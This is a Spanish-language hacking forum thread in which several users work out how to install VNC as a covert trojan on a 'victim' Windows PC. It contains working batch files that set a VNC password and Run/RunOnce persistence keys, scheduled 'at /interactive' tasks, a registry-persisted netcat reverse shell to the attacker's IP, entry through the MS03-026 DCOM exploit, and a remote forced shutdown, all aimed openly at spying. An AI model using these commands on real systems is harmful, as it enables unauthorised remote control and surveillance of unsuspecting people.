Troyanizando VNC - Control Remoto Invisible

Iniciado por Gospel, 22 Septiembre 2004, 10:59 AM

0 Miembros y 3 Visitantes están viendo este tema.

zhyzura

¡YA RESOLVI EL PROBLEMA AMIGO GOSPEL! ;D

Estaba observando que a la hora de que se inicia windows mostraba de manera rapida todos los procesos que colocamos en el archivo .bat y una vez finalizados se cerraba dicha pantalla (eso era en el primer reinicio que hiciera el sistema), pero que pasaba si reiniciabamos de nuevo...la pantalla de ms-dos que se abrio y se cerro rapidamente una vez, ahora se quedaba abierta diciendonos que la entrada en RUN ya existia y que si queriamos sobreescribirla ??? imaginate el cantaraso que ibamos a hacer cuando la victima volviera a reiniciar.

asi de que ahora nos enfrentamos a que debemos de crear una entrada en el registro que solamente ejecute una vez el archivo .bat y ya no volvamos a saber nada de eso, y ademas de que debemos de buscar una manera de que no se vean los procesos en pantalla.

en mis pruebas que hice en el registro del sistema observe que en lugar de agregar la entrada para que se ejecute el bat en:
CitarHKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
debemos de agregarla en:
CitarHKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
esto lo hariamos desde la shell remota con privilegios de system, y como mencionabas anteriormente, si puedes agregar valores en esa rama del registro.

tenemos dos ventajas al agregar la entrada alli:
1.- el archivo bat se va a ejecutar antes de cargar el escritorio (justo cuando esta la pantalla de bienvenido que nos va a ayudar a ocultar la pantalla del archivo bat xDDD)
2.- una vez ejecutada la entrada, automaticamente se borra (asi ya no nos preocupamos de que nos aparezca una pantalla diciendonos que si deceamos sobreescribir un valor ya existente en el registro).

ahora solo me falta decir un detalle... el archivo bat que creaste al final de agregar todos los valores que contienen el password, agrega una entrada en el registro para que se ejecute el winvnc a cada reinicio del sistema y ademas ejecuta el winvnc.
pero como el archivo bat se va a ejecutar antes de que se inicie el sistema, se ejecutara el winvnc dos veces con lo cual no saldra una ventanita diciendonos que ya se esta ejecutando.
por lo tanto para que todo nos salga de perlas, el archivo bat debera de quedar asi:

REG ADD HKEY_CURRENT_USER\Software\ORL
REG ADD HKEY_CURRENT_USER\Software\ORL\WinVNC3
REG ADD HKEY_CURRENT_USER\Software\ORL\WinVNC3 /v AutoPortSelect /t REG_DWORD /d 1 /f
REG ADD HKEY_CURRENT_USER\Software\ORL\WinVNC3 /v InputsEnabled /t REG_DWORD /d 1 /f
REG ADD HKEY_CURRENT_USER\Software\ORL\WinVNC3 /v OnlyPollConsole /t REG_DWORD /d 1 /f
REG ADD HKEY_CURRENT_USER\Software\ORL\WinVNC3 /v OnlyPollOnEvent /t REG_DWORD /d 0 /f
REG ADD HKEY_CURRENT_USER\Software\ORL\WinVNC3 /v Password /t REG_BINARY /d 32149bb09b18f887 /f
REG ADD HKEY_CURRENT_USER\Software\ORL\WinVNC3 /v PollForeground /t REG_DWORD /d 1 /f
REG ADD HKEY_CURRENT_USER\Software\ORL\WinVNC3 /v PollFullScreen /t REG_DWORD /d 0 /f
REG ADD HKEY_CURRENT_USER\Software\ORL\WinVNC3 /v PollUnderCursor /t REG_DWORD /d 0 /f
REG ADD HKEY_CURRENT_USER\Software\ORL\WinVNC3 /v SocketConnect /t REG_DWORD /d 1 /f
REG ADD HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v Winvnc /t REG_SZ /d "C:\WINDOWS\system32\winvnc"


como lo ultimo que hicimos en este bat fue agregar la entrada para que se inicie junto con windows, despues de hacer su trabajo el archivo bat, la entrada para que se ejecute el winvnc tambien lo hara xDDD

NOTA: solo aclarar que este archivo bat va a variar en esto:
REG ADD HKEY_CURRENT_USER\Software\ORL\WinVNC3 /v Password /t REG_BINARY /d 32149bb09b18f887 /f
por que no creo que todos quieran poner el password que utilizo Gospel, sino poner un password que se sepan ustedes.

Si gustas Gospel hacer una prueba mas para verificar lo que acabo de explicar :P

saludos y ahora si creo que ya esta todo listo para el bonito tutorial que nos prometio Gospel
xDDD

zhyzura

ahora que me puse a leer todo el hilo creo que hay algo que nos hace falta agregar.

que todos nosotros somos muy desesperados y no queremos esperar un dia para que reinicie su maquina asi de que ¿por que no lo obligamos a que reinicie?

podemos apagarle su equipo remotamente(inicio> ejecutar) con el comando:
shutdown -i \\ip_de_la_maquina
el usuario no sabra que paso y lo mas seguro es que vuelva a entrar a internet para continuar chateando con un amigos o revisando el correo xDDD


ahora un inconveniente de lo que acabo de decir, a la hora de que se vuelva a conectar ya no tendra la misma ip  :'(.

JUAS!!!!! pues eso se resuelve facilmente haciendo una reverse shell, no nos tomara bastante tiempo jeje.

hacemos lo siguiente antes de apagarle su equipo y aun teniendo su shell y el TFTP a la mano:

le subimos un netcat al lugar quese nos haga mas bonito  :P y agregamos otra entrada en su registro (despues de todo lo que se hizo en este post creo que adoro el registro de windows xDDD) de la siguiente manera:

tecleamos en la shell remota:
REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v Netcat /t REG_SZ /d "C:\nc -d -e cmd.exe xx.xx.xx.xx 6000"
solo sustituimos las "x" por nuestra ip y nos fijamos que la ruta del nc sea la correcta, en este caso lo puso en el directorio raiz.

ahora sigue que nosotros dejemos un netcat a la escucha en nuestro equipo asi a la hora de que reinie su netcat se conecte con el nuestro y nuevamente tengamos shell:
nc -l -p 6000 -d -e cmd.exe

ahora si estamos listos para apagarle su equipo remotamente xDDD

ya una vez que reinicie en la shell remota tecleamos:
Citaripconfig
y nos mostrara su ip para conectarnos con el vncview.

saludos.

P.D. me gustaria ver como reacciona Gospel al ver todo el despapalle que hice mientras el no estaba  ::)

Gospel

 :D :D :D :D :D :D :D :D :D :D :D :D

Can't wait to test it!!

Muchas Gracias zhyzuraaaaa!!!!

Gospel

#43
Woahhhh!!! Genial Zhyzuraaaa, vaya idea feliz q te has currao!

Lo he probado y funciona!!!

Un simple apunte....

Cuando yo dejé el bat en HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run y el usuario iniciaba Windows, primero cargaba el escritorio y luego cargaba el bat. Por tanto, era un canteo pq aparecía la pantalla de consola.
¿Por qué si dejas el bat en HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce carga primero el bat y luego el escritorio y por tanto, no aparece tal ventana de consola??

Bueno, el caso es q funciona, así q ya puedo preparar el tutorial, jejejeje... le voy a meter un poco de arte para hacerlo!!

Otro apunte.... si entro a través del exploit Dcom para MS03-026, no hace falta reiniciar el equipo... al terminar la sesión con netcat, cae el servicio RPC y produce un services crash q obliga al sistema a reiniciar tras la cuenta atrás...

Citarshutdown -i \\ip_de_la_maquina

Estás de coña?? Shutdown -i muestra el interfaz GUI para el apagado del sistema. Te has colao de parámetro...  :P


Tb tengo q probar otras cosas q me han contado algunos pajaritos de por ahi  ;) Puede q haya varias maneras de hacer q esto funcione...

Hala... en un par de dias publico el tutorial!!

Salu2

Pd: Soy feliz

Sir_Neo

Gospel:
Citar
Otro apunte.... si entro a través del exploit Dcom para MS03-026, no hace falta reiniciar el equipo... al terminar la sesión con netcat, cae el servicio RPC y produce un services crash q obliga al sistema a reiniciar tras la cuenta atrás...

No estoy de acuerdo contigo. Esa es la primera vulnerabiliad que trabaje cuando me inicié este mundillo, y probe varios.

No todos caen el servicio RPC, y el que hace caerlo no lo hace en todas las makinas.

Uno de ellos lo probe en 2 makinas que tenia vulnerables, y en el primero me salia una ventanita que decia que reiniciase, y en el otro no salía nada. En los dos casos me daba shell. Así que saco como conclusión, que dependerá de la makina. no se.

PD: Ya es que tengo los pcs parcheados, sino probaría de nuevo para confirmartelo.

Si juegas con el mejor, muere como los demás

http://www.lepeonline.net/

Gospel

#45
Here i goooo....  ;D

El siguiente método para lograr instalar VNC como troyano en una víctima se compone de 4 pasos.


Paso 1 - Ejecutando el servidor VNC en la víctima

0) Obtener una shell remota de la víctima.
El siguiente método, está específicamente desarrollado para el caso de shell remota obtenida con el uso de un exploit. Esta shell remota, tendrá privilegios de SYSTEM y será por tanto, un poco especial.
Este método también es válido para una shell remota obtenida a partir de netcat, con privilegios de USUARIO, aunq en este último caso, se puede llegar a lo mismo sin tanto rodeo.

1) Subir los 3 archivos necesarios para la ejecución del servidor VNC. (De esto ya se ha hablado antes...)

2) Subir 2 archivos .bat

addRegNow.bat:
@echo off
REG ADD HKEY_CURRENT_USER\Software\ORL
REG ADD HKEY_CURRENT_USER\Software\ORL\WinVNC3
REG ADD HKEY_CURRENT_USER\Software\ORL\WinVNC3 /v AutoPortSelect /t REG_DWORD /d 1 /f
REG ADD HKEY_CURRENT_USER\Software\ORL\WinVNC3 /v InputsEnabled /t REG_DWORD /d 1 /f
REG ADD HKEY_CURRENT_USER\Software\ORL\WinVNC3 /v OnlyPollConsole /t REG_DWORD /d 1 /f
REG ADD HKEY_CURRENT_USER\Software\ORL\WinVNC3 /v OnlyPollOnEvent /t REG_DWORD /d 0 /f
REG ADD HKEY_CURRENT_USER\Software\ORL\WinVNC3 /v Password /t REG_BINARY /d 32149bb09b18f887 /f
REG ADD HKEY_CURRENT_USER\Software\ORL\WinVNC3 /v PollForeground /t REG_DWORD /d 1 /f
REG ADD HKEY_CURRENT_USER\Software\ORL\WinVNC3 /v PollFullScreen /t REG_DWORD /d 0 /f
REG ADD HKEY_CURRENT_USER\Software\ORL\WinVNC3 /v PollUnderCursor /t REG_DWORD /d 0 /f
REG ADD HKEY_CURRENT_USER\Software\ORL\WinVNC3 /v SocketConnect /t REG_DWORD /d 1 /f


addReg.bat:
REG ADD HKEY_CURRENT_USER\Software\ORL
REG ADD HKEY_CURRENT_USER\Software\ORL\WinVNC3
REG ADD HKEY_CURRENT_USER\Software\ORL\WinVNC3 /v AutoPortSelect /t REG_DWORD /d 1 /f
REG ADD HKEY_CURRENT_USER\Software\ORL\WinVNC3 /v InputsEnabled /t REG_DWORD /d 1 /f
REG ADD HKEY_CURRENT_USER\Software\ORL\WinVNC3 /v OnlyPollConsole /t REG_DWORD /d 1 /f
REG ADD HKEY_CURRENT_USER\Software\ORL\WinVNC3 /v OnlyPollOnEvent /t REG_DWORD /d 0 /f
REG ADD HKEY_CURRENT_USER\Software\ORL\WinVNC3 /v Password /t REG_BINARY /d 32149bb09b18f887 /f
REG ADD HKEY_CURRENT_USER\Software\ORL\WinVNC3 /v PollForeground /t REG_DWORD /d 1 /f
REG ADD HKEY_CURRENT_USER\Software\ORL\WinVNC3 /v PollFullScreen /t REG_DWORD /d 0 /f
REG ADD HKEY_CURRENT_USER\Software\ORL\WinVNC3 /v PollUnderCursor /t REG_DWORD /d 0 /f
REG ADD HKEY_CURRENT_USER\Software\ORL\WinVNC3 /v SocketConnect /t REG_DWORD /d 1 /f
REG ADD HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v Winvnc /t REG_SZ /d "C:\WINDOWS\system32\winvnc"


3) Agregar al registro de la víctima, la información de configuración del servidor VNC. Parte de esta información es la contraseña necesaria para admitir la conexión de clientes.
Vamos a agregar la información contenida en addRegNow.bat haciendo uso del comando at, es decir, programando una tarea.

Comprobamos la hora local de la víctima con net time \\nombreequipovictima

Programamos una tarea para los 2 minutos siguientes:
C:\WINDOWS\system32>at 0:58 "addregnow.bat"
at 0:58 "addregnow.bat"
Se ha agregado un nuevo trabajo con identificador = 1


Cuando llegue el momento, se ejecutará la tarea, no aparecerá ninguna ventana de ejecución del bat  ??? y se agregará toda la información contenida en addRegNow.bat en la siguiente clave de registro  ??? :

CitarHKEY_USERS\.DEFAULT\Software\ORL

4) Cargar el ejecutable del servidor VNC llamando a winvnc.exe. Para ello, tenemos q programar una tarea y utilizar el parámetro /interactive

Citar/interactive - Permite a la tarea interactuar con el escritorio del usuario cuya sesión coincide con el momento de ejecución de la tarea.

Si nos olvidamos de este detalle, winvnc.exe no correrá en el mismo entorno q el usuario víctima y no podremos acceder remotamente. Dará error de conexión...

C:\WINDOWS\system32>at 0:59 /interactive "winvnc.exe"
at 0:59 /interactive "winvnc.exe"
Se ha agregado un nuevo trabajo con identificador = 2


5) Después de comprobar con C:\at q no ha habido errores al ejecutar ambas tareas, podemos conectarnos remotamente con cualquier cliente vncviewer (si, cualquier!). Winvnc.exe aparecerá en la lista de tareas de la víctima bajo el Nombre de Usuario SYSTEM, pero magia potagia, se está ejecutando en el mismo entorno q el usuario víctima.


Paso 2 (Opcional) - Preparando la Instalación del servidor VNC como servicio

Si queremos garantizarnos futuros accesos con el cliente VNC, tenemos q seguir los siguientes puntos...

1) Añadir a HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOne una clave con la ejecución de addReg.bat. De esta forma, cuando el usuario reinicie Windows, se cargará la información de configuración del servidor VNC en:

CitarHKEY_CURRENT_USER\Software\ORL\WinVNC3

Os preguntaréis, ¿pq hago esto 2 veces? Pues pq sino creamos la clave de configuracion en HKEY_CURRENT_USER\Software\ORL\WinVNC3, cuando el usuario inicie Windows, el servidor VNC no irá a buscar la clave en HKEY_USERS\.DEFAULT\Software\ORL\WinVNC3, sino a HKEY_CURRENT_USER\Software\ORL\WinVNC3 y como no la encontrará, saltará la ventana de propiedades pidiendo la contraseña... Es un poco lioso, pero hacedme caso...

Bien, con el siguiente comando, crearemos la clave de inicio q añadirá el contenido de addReg al registro de la víctima.

C:\WINDOWS\system32>REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce /v Load /t REG_SZ /d "C:\WINDOWS\system32\addreg.bat"

Esta clave sólo se ejecutará una única vez (RunOnce) en el siguiente inicio de Windows de la víctima...
Ahora, podemos esperar a q la víctima reinicie...


Paso 3 (Opcional) - Instalando el servidor VNC como servicio

0) La víctima reinicia y vuelve a iniciar Windows.

1) Cuando Windows se inicie, se ejecutará la clave de inicio en RunOnce y se cargará el contenido de addReg.bat:
En este momento, se cargará:
- la información de configuración del servidor VNC en la clave por defecto HKEY_CURRENT_USER\Software\ORL
- un clave de inicio en HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run para q el servidor VNC arranque automáticamente en sucesivos inicios de Windows.
  - el servidor VNC, ejecutándose con privilegios de USUARIO. (Esto deriva del punto anterior...)

2) Nos podemos conectar remotamente con el cliente vncviewer...


Paso 4 (Opcional) - VNC Instalado como troyano

0) En el siguiente reinicio de la víctima y posterior inicio de Windows ya habrá desaparecido la clave en RunOnce (1 única ejecución) y el servidor VNC se ejecutará automáticamente desde la clave de inicio en HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

2) Nos podemos conectar remotamente con el cliente vncviewer...



Bueno, eso es todo. Aún quedan una par de cosas en el a¡re, q no soy capaz de explicar y q espero no me causen alguna sorpresa desagradable en el futuro:

CitarCuando yo dejé el bat en HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run y el usuario iniciaba Windows, primero cargaba el escritorio y luego cargaba el bat. Por tanto, era un canteo pq aparecía la pantalla de consola.
¿Por qué si dejas el bat en HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce carga primero el bat y luego el escritorio y por tanto, no aparece tal ventana de consola??

CitarCuando llegue el momento, se ejecutará la tarea, no aparecerá ninguna ventana de ejecución del bat  ??? y se agregará toda la información contenida en addRegNow.bat en la siguiente clave de registro  ??? :

CitarHKEY_USERS\.DEFAULT\Software\ORL

Cuando Zhuzura lo pruebe y le dé el visto bueno, me pongo manos a la obra con el tutorial...

Me he dado cuenta de lo costoso q resulta llevar todo esto a cabo. Estoy seguro de q exiten por ahí algunos "software de control remoto" q no requieren la utilización del registro para el manejo de la contraseña y q sólo con subirlos a la víctima y ejecutarlos, ya nos podemos conectar remotamente. Pero bueno, ya q empecé este hilo con VNC, voy a terminarlo bien, de forma satisfecha. Y además, de toda experiencia se saca algo provechoso. Hasta ahora, no me atrevía a jugar con el registro y después de esto, ya me muevo mucho mejor...

Hala... ha sido un dia intenso. Me voy a dormir....

Salu2

Pd: El truco de usar el contexto INTERACTIVE para la shell con privilegios de SYSTEM es cortesía de LooKilleR @ Foro de HackxCrack. Gracias...

zhyzura

FUNCIONA FUNCIONAAAAAAAAAAA!!!!!!!!!!!!!!!

;D ;D ;D

¡QUE ALGUIEN ME DETENGA!

acabo de probarlo(use el exploit DCOM para MS03-026) y la verdad no tengo un solo pero, bueno la verdad si tengo uno  :P pero creo que ese error es culpa de mi maquina xDDD, el vncview de la version que pusiste, sigue sin funcionarme, solo me conecta con el que yo puse pero en fin...funciono!!! funciono!!! funciono!!!.

nunca se me habia ocurrido lo de hacer que se agrege como tarea y ademas la opcion "interactive" nunca la habia usado, ahora si no ocupamos esperar a que reinicie para empezar a espiar.

te la aventaste buena Gospel  ::), cuando dijiste que ibas a poner otro metodo nunca pense que funcionara tan bien (y tan rapido).

no cabe duda de que este tema termino de la mejor manera, ahora si lo podemos usar con shell's remotas tanto con privilegios de system como de usuario.


saludos

Man-In-the-Middle

Bueno señores, estab de viaje y me tope con la sorpresa que ste post ya esta bien avanzado por gospel, Zhyzura y sir_neo, pero creo que hay un temita que de repente les podra ser interesante y ahi va:

Esto averiguacion fue por casualidad y la tratamos de manejar con sir_neo,

El ejecutable de winvnc.exe(notray) es un zip. solo basta renombrar winvnc.exe por winvnc.zip, dentro del zip hay varios archivos class, Java,  descompilando esos class con decafe pro podemos ver el programa en codigo fuente, bueno ahi va una persona que maneje un poco de programacion en java( yo no por que ni idea) , se le puede hacer rutinass para insertar los campos antes mencionaddos dentro del class, asi que cuando de ejecute el nuevo winvnc.exe(notray) hara todo lo que antes ya han mencionado, registrios, password y todo, spero que alguein se interese en este tema que de verdad lo veo super interesante.

Bueno de verdad muchachos que gracias por todos estos tutoriales muy explicitos

Enjoy

Man-In-the-Middle

Sir_Neo

Perdona Man-in-the-middle, pero he decidido escribir porque tus palabras son un poco dificiles de entender y para aquellos que no lo hayan entendido, traduzco  :D.

Cogemos el winvnc.exe y le cambiamos de extension de .exe a .zip. Normalmente, si descomprimios ahora, daría un error, pero no sucede eso, descomprime y suelta 6 o7 ficheros .class, que son los ficheros de java compilados. Luego tomamos el decafe pro demo, que es un programita que descompila ficheros de java, y ta chan!!! tenemos el codigo del winvnc. Como no deja copiar, lo unico que hay que hacer es escribir el codigo a pelo, y compilarlo de nuevo.

Por lo demás, corre cuenta de vuestra imaginación.

Un Saludo.

Si juegas con el mejor, muere como los demás

http://www.lepeonline.net/

Man-In-the-Middle

Bueno a eso me referia peeee, pero vale es del winvnc.exe(icon no tray)  ;D

Bite

Man-In-the-Middle